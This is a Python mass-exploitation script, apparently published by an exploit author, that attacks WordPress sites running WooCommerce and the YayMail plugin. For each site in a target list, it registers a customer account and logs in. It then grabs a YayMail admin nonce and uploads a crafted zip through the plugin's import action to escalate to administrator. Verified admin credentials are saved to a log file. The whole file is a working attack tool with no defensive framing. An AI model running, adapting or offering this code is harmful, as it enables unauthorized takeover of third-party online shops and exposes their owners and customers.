#!/usr/bin/env python3 # By: Nxploited (@Kxploit) import os import sys import time from datetime import datetime from typing import Optional, Dict, List from urllib.parse import urlparse, urljoin import re import json as _json import random import requests from concurrent.futures import ThreadPoolExecutor, as_completed from rich.console import Console from rich.table import Table from rich.panel import Panel from rich.align import Align from rich.text import Text from rich import box requests.packages.urllib3.disable_warnings() console = Console() REG_RESULTS_FILE = "reg.txt" ADMIN_RESULTS_FILE = "Nx_admin.txt" YAYMAIL_ZIP = "yaymail_backup.zip" UA_POOL = [ "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " "(KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36", ] def get_random_ua() -> str: return random.choice(UA_POOL) def normalize_url(url: str) -> str: url = url.strip() if not url.startswith(("http://", "https://")): url = "https://" + url p = urlparse(url) return f"{p.scheme}://{p.netloc}" def new_session(timeout: int) -> requests.Session: s = requests.Session() s.verify = False s.timeout = timeout return s def banner() -> None: os.system("cls" if os.name == "nt" else "clear") ascii_lines = [ " _ _ _ _ _ _ _ _ __ ", " / \\ / |_ __ ) / \\ ) |_ __ /| (_| _) / ", " \\_ \\/ |_ /_ \\_/ /_ |_) | | _) / ", " ", ] ascii_text = "\n".join(ascii_lines) title = Text("WooCommerce · YayMail · Mass Exploit Chain", style="bold cyan") author = Text("By: Nxploited | GitHub: github.com/Nxploited | Telegram: @Kxploit", style="bold white") body = Align.center( Text(ascii_text, style="bold magenta") + Text("\n") + title + Text("\n") + author, vertical="middle", ) panel = Panel( body, border_style="magenta", box=box.HEAVY, padding=(1, 4), ) console.print(panel) def live_status(target: str, label: str, color: str, note: str = "") -> None: tag = Text(f"[{label}]", style=color + " bold") host = Text(f" {target}", style="white") t = tag + host if note: t += Text(f" :: {note}", style="bright_black") console.print(t) def write_reg_result(base: str, username: str, email: str, password: str) -> None: ts = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S") line = f"[{ts}] {base} user:{username} email:{email} pass:{password}\n" try: with open(REG_RESULTS_FILE, "a", encoding="utf-8") as f: f.write(line) except Exception: pass def write_admin_result(base: str, username: str, password: str, note: str = "") -> None: ts = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S") line = f"[{ts}] {base} user:{username} pass:{password}" if note: line += f" | {note}" line += "\n" try: with open(ADMIN_RESULTS_FILE, "a", encoding="utf-8") as f: f.write(line) except Exception: pass def fetch_woo_account_pages(session: requests.Session, base: str, timeout: int) -> Dict[str, str]: root = base.rstrip("/") paths = [ "/my-account/", "/my_account/", "/My-account/", "/account/", "/myaccount/", "/customer-login/", "/login/", "/register/", "/sss/", ] htmls: Dict[str, str] = {} for p in paths: url = root + p try: r = session.get(url, timeout=timeout, verify=False, headers={"User-Agent": get_random_ua()}) if r.status_code == 200 and " Optional[Dict[str, str]]: if "woocommerce-register-nonce" not in html and "register" not in html.lower(): return None nonce_match = re.search( r'name=["\']woocommerce-register-nonce["\']\s+value=["\']([^"\']+)["\']', html, re.IGNORECASE, ) if not nonce_match: return None nonce_value = nonce_match.group(1) form_match = re.search( r']+method=["\']post["\'][^>]*action=["\']([^"\']*)["\'][^>]*>', html, re.IGNORECASE, ) action = form_match.group(1) if form_match else "" email_name = "email" password_name = "password" username_name = None email_input = re.search( r']+type=["\']email["\'][^>]*name=["\']([^"\']+)["\']', html, re.IGNORECASE, ) if email_input: email_name = email_input.group(1) pass_input = re.search( r']+type=["\']password["\'][^>]*name=["\']([^"\']+)["\']', html, re.IGNORECASE, ) if pass_input: password_name = pass_input.group(1) user_input = re.search( r']+(name=["\']username["\']|id=["\']username["\'])[^>]*>', html, re.IGNORECASE, ) if user_input: mname = re.search(r'name=["\']([^"\']+)["\']', user_input.group(0), re.IGNORECASE) if mname: username_name = mname.group(1) return { "action": action, "register_nonce": nonce_value, "email_name": email_name, "password_name": password_name, "username_name": username_name, } def extract_woo_login_form(html: str) -> Optional[Dict[str, str]]: if "woocommerce-login-nonce" not in html and "login" not in html.lower(): return None nonce_match = re.search( r'name=["\']woocommerce-login-nonce["\']\s+value=["\']([^"\']+)["\']', html, re.IGNORECASE, ) if not nonce_match: return None nonce_value = nonce_match.group(1) form_match = re.search( r']+method=["\']post["\'][^>]*action=["\']([^"\']*)["\'][^>]*>', html, re.IGNORECASE, ) action = form_match.group(1) if form_match else "" user_name = "username" password_name = "password" u_input = re.search( r']+(name=["\']username["\']|id=["\']username["\'])[^>]*>', html, re.IGNORECASE, ) if u_input: mname = re.search(r'name=["\']([^"\']+)["\']', u_input.group(0), re.IGNORECASE) if mname: user_name = mname.group(1) pass_input = re.search( r']+type=["\']password["\'][^>]*name=["\']([^"\']+)["\']', html, re.IGNORECASE, ) if pass_input: password_name = pass_input.group(1) return { "action": action, "login_nonce": nonce_value, "username_name": user_name, "password_name": password_name, } def woo_register(session: requests.Session, base: str, timeout: int, username: str, email: str, password: str) -> Optional[Dict[str, str]]: root = base.rstrip("/") pages = fetch_woo_account_pages(session, base, timeout) if not pages: return None for url, html in pages.items(): reg = extract_woo_register_form(html) if not reg: continue target_action = reg["action"] or url if target_action.startswith("http"): post_url = target_action else: post_url = urljoin(root + "/", target_action.lstrip("/")) data = { reg["email_name"]: email, reg["password_name"]: password, "woocommerce-register-nonce": reg["register_nonce"], "_wp_http_referer": urlparse(url).path, "register": "Register", } if reg["username_name"]: data[reg["username_name"]] = username headers = { "User-Agent": get_random_ua(), "Content-Type": "application/x-www-form-urlencoded", "Referer": url, } try: r = session.post(post_url, data=data, headers=headers, timeout=timeout, verify=False) except Exception: continue if r.status_code in (302, 303): return {"username": username, "email": email, "password": password} if any(x in r.text.lower() for x in ["logout", "my account", "account details"]): return {"username": username, "email": email, "password": password} return None def woo_login(session: requests.Session, base: str, timeout: int, username_or_email: str, password: str) -> bool: root = base.rstrip("/") pages = fetch_woo_account_pages(session, base, timeout) if not pages: return False for url, html in pages.items(): login = extract_woo_login_form(html) if not login: continue target_action = login["action"] or url if target_action.startswith("http"): post_url = target_action else: post_url = urljoin(root + "/", target_action.lstrip("/")) data = { login["username_name"]: username_or_email, login["password_name"]: password, "woocommerce-login-nonce": login["login_nonce"], "_wp_http_referer": urlparse(url).path, "login": "Log in", } headers = { "User-Agent": get_random_ua(), "Content-Type": "application/x-www-form-urlencoded", "Referer": url, } try: r = session.post(post_url, data=data, headers=headers, timeout=timeout, verify=False) except Exception: continue if r.status_code in (302, 303): return True if any(x in r.text.lower() for x in ["logout", "my account", "account details"]): return True return False def wp_login(session: requests.Session, base: str, timeout: int, username: str, password: str) -> bool: login_url = base.rstrip("/") + "/wp-login.php" headers = {"User-Agent": get_random_ua()} try: session.get(login_url, headers=headers, timeout=timeout, verify=False) except Exception: pass headers = { "User-Agent": get_random_ua(), "Content-Type": "application/x-www-form-urlencoded", "Referer": login_url, "Cookie": "wordpress_test_cookie=WP Cookie check", } data = { "log": username, "pwd": password, "wp-submit": "Log In", "testcookie": "1", } try: r = session.post(login_url, data=data, headers=headers, timeout=timeout, verify=False, allow_redirects=True) except Exception: return False if "wordpress_logged_in" in r.headers.get("Set-Cookie", ""): return True if any(c.name.startswith("wordpress_logged_in") for c in session.cookies): return True if "/wp-admin/" in r.url or "dashboard" in r.text.lower(): return True return False def verify_admin_access(session: requests.Session, base: str, timeout: int) -> bool: admin_urls = [ base.rstrip("/") + "/wp-admin/", base.rstrip("/") + "/wp-admin/index.php", base.rstrip("/") + "/wp-admin/users.php", base.rstrip("/") + "/wp-admin/plugins.php", ] indicators = [ "wp-admin-bar", "adminmenu", "manage_options", "users.php", "plugins.php", ] for au in admin_urls: try: r = session.get(au, headers={"User-Agent": get_random_ua()}, timeout=timeout, verify=False, allow_redirects=False) except Exception: continue if r.status_code in (301, 302) and "wp-login.php" in r.headers.get("Location", ""): continue if r.status_code == 200: lt = r.text.lower() if any(ind in lt for ind in indicators): return True return False def fetch_yaymail_nonce_and_ajax_url(session: requests.Session, base: str, timeout: int) -> Optional[Dict[str, str]]: url = base.rstrip("/") + "/wp-admin/admin.php?page=yaymail-settings#/email-templates" headers = {"User-Agent": get_random_ua()} try: r = session.get(url, headers=headers, timeout=timeout, verify=False) except Exception: live_status(base, "NONCE-ERROR", "red", "settings request failed") return None if r.status_code != 200: live_status(base, "NONCE-ERROR", "red", f"status {r.status_code}") return None html = r.text m = re.search( r'\{"url"\s*:\s*"([^"]*admin-ajax\.php[^"]*)"\s*,\s*"nonce"\s*:\s*"([0-9a-zA-Z]{4,64})"', html, re.IGNORECASE, ) if not m: m = re.search( r'"url"\s*:\s*"([^"]*admin-ajax\.php[^"]*)".{0,300}?"nonce"\s*:\s*"([0-9a-zA-Z]{4,64})"', html, re.IGNORECASE | re.DOTALL, ) if not m: live_status(base, "NONCE-NOT-FOUND", "bright_black") return None ajax_url = m.group(1).replace(r"\/", "/") nonce = m.group(2) if not ajax_url.startswith("http"): ajax_url = urljoin(base.rstrip("/") + "/", ajax_url.lstrip("/")) live_status(base, "NONCE-FOUND", "magenta", f"nonce: {nonce}") return {"ajax_url": ajax_url, "nonce": nonce} def yaymail_import_exploit(session: requests.Session, base: str, timeout: int, yay_data: Dict[str, str]) -> bool: ajax_url = yay_data["ajax_url"] nonce = yay_data["nonce"] if not os.path.exists(YAYMAIL_ZIP): return False headers = {"User-Agent": get_random_ua()} with open(YAYMAIL_ZIP, "rb") as f: files = { "import_file": (os.path.basename(YAYMAIL_ZIP), f, "application/zip"), } data = { "action": "yaymail_import_state", "nonce": nonce, } try: r = session.post(ajax_url, headers=headers, data=data, files=files, timeout=timeout, verify=False) except Exception: return False # YayMail success example: {"success":true,"data":{"message":"Import state successfully"}} try: j = r.json() if j.get("success") is True and "import state successfully" in str(j.get("data", {}).get("message", "")).lower(): return True except Exception: pass if r.status_code == 200 and "import state successfully" in r.text.lower(): return True return False def handle_site(site: str, timeout: int, _: int, username_fixed: str, password_fixed: str, email_fixed: str) -> Dict[str, str]: base = normalize_url(site) sess = new_session(timeout) row = { "target": base, "status": "[bright_black]UNKNOWN[/bright_black]", "note": "", } live_status(base, "SCAN", "cyan") try: username = username_fixed email = email_fixed password = password_fixed reg_info = woo_register(sess, base, timeout, username, email, password) if not reg_info: row["status"] = "[bright_black]NO-REGISTER[/bright_black]" live_status(base, "NO-REGISTER", "bright_black") return row write_reg_result(base, reg_info["username"], reg_info["email"], reg_info["password"]) live_status(base, "REGISTERED", "yellow", f"user: {username} pass: {password}") logged = False if wp_login(sess, base, timeout, reg_info["username"], reg_info["password"]): logged = True live_status(base, "LOGIN-WP", "cyan", "wp-login.php") if not logged: if woo_login(sess, base, timeout, reg_info["email"], reg_info["password"]): logged = True live_status(base, "LOGIN-WOO", "cyan", "woocommerce form") if not logged: row["status"] = "[bright_black]LOGIN-FAILED[/bright_black]" live_status(base, "LOGIN-FAILED", "bright_black") return row if verify_admin_access(sess, base, timeout): row["status"] = "[bold green]EXPLOITED (ADMIN)[/bold green]" row["note"] = f"user: {username} pass: {password}" write_admin_result(base, reg_info["username"], reg_info["password"], "already admin") live_status(base, "SUCCESS", "green", row["note"]) return row live_status(base, "SEARCH-NONCE", "yellow", "not admin, trying YayMail chain") yay_data = fetch_yaymail_nonce_and_ajax_url(sess, base, timeout) if not yay_data: row["status"] = "[yellow]VULNERABLE (YayMail not found / nonce missing)[/yellow]" return row live_status(base, "EXPLOIT", "yellow", f"nonce: {yay_data['nonce']}") ok_exp = yaymail_import_exploit(sess, base, timeout, yay_data) if not ok_exp: row["status"] = "[red]EXPLOIT-FAILED[/red]" live_status(base, "EXPLOIT-FAILED", "red") return row if verify_admin_access(sess, base, timeout): row["status"] = "[bold green]EXPLOITED (ADMIN VERIFIED)[/bold green]" row["note"] = f"user: {username} pass: {password}" write_admin_result(base, reg_info["username"], reg_info["password"], "yaymail import") live_status(base, "SUCCESS", "green", row["note"]) else: row["status"] = "[yellow]PARTIAL (import OK, admin not confirmed)[/yellow]" row["note"] = f"user: {username} pass: {password}" write_admin_result(base, reg_info["username"], reg_info["password"], "yaymail import (no admin)") live_status(base, "PARTIAL", "yellow", row["note"]) return row except requests.exceptions.Timeout: row["status"] = "[bright_black]TIMEOUT[/bright_black]" live_status(base, "TIMEOUT", "bright_black") return row except requests.exceptions.ConnectionError: row["status"] = "[bright_black]DEAD[/bright_black]" live_status(base, "DEAD", "bright_black") return row except Exception: row["status"] = "[red]ERROR[/red]" live_status(base, "ERROR", "red") return row def main() -> None: banner() username_fixed = console.input("[bold cyan]Username[/bold cyan] [Nx_admin]: ").strip() or "Nx_admin" password_fixed = console.input("[bold cyan]Password[/bold cyan] [Nx_adminSA]: ").strip() or "Nx_adminSA" email_fixed = console.input("[bold cyan]Email[/bold cyan] [Nx_admin@admin.sa]: ").strip() or "Nx_admin@admin.sa" global REG_PASS REG_PASS = password_fixed targets_file = console.input("[bold cyan]Targets file[/bold cyan] [list.txt]: ").strip() or "list.txt" if not os.path.exists(targets_file): console.print("[bold red]Targets file not found.[/bold red]") sys.exit(1) if not os.path.exists(YAYMAIL_ZIP): console.print(f"[bold red]Missing payload file:[/bold red] {YAYMAIL_ZIP}") sys.exit(1) try: threads = int(console.input("[bold cyan]Threads[/bold cyan] [3]: ").strip() or "3") except ValueError: threads = 3 try: timeout = int(console.input("[bold cyan]HTTP timeout (seconds)[/bold cyan] [10]: ").strip() or "10") except ValueError: timeout = 10 targets: List[str] = [] with open(targets_file, "r", encoding="utf-8", errors="ignore") as f: for line in f: line = line.strip() if line: targets.append(line) if not targets: console.print("[bold red]Targets file is empty.[/bold red]") sys.exit(1) console.print() console.print(f"[bold white]Loaded {len(targets)} targets.[/bold white]\n") start = time.time() results: List[Dict[str, str]] = [] with ThreadPoolExecutor(max_workers=threads) as ex: future_to_target = { ex.submit(handle_site, t, timeout, 0, username_fixed, password_fixed, email_fixed): t for t in targets } try: for future in as_completed(future_to_target): res = future.result() results.append(res) except KeyboardInterrupt: ex.shutdown(wait=False, cancel_futures=True) console.print("[bold yellow]Interrupted by user. Showing partial results.[/bold yellow]") elapsed = time.time() - start table = Table( title=f"Session Summary | {len(results)} targets | {elapsed:.2f}s", box=box.SIMPLE_HEAVY, header_style="bold cyan", border_style="magenta", ) table.add_column("Target", style="white", no_wrap=True) table.add_column("Status", style="white") table.add_column("Credentials / Note", style="bright_black") for row in results: table.add_row(row["target"], row["status"], row.get("note", "")) console.print() console.print(table) console.print() console.print(f"[bold green]Registration log:[/bold green] {REG_RESULTS_FILE}") console.print(f"[bold green]Exploit log:[/bold green] {ADMIN_RESULTS_FILE}") if __name__ == "__main__": main()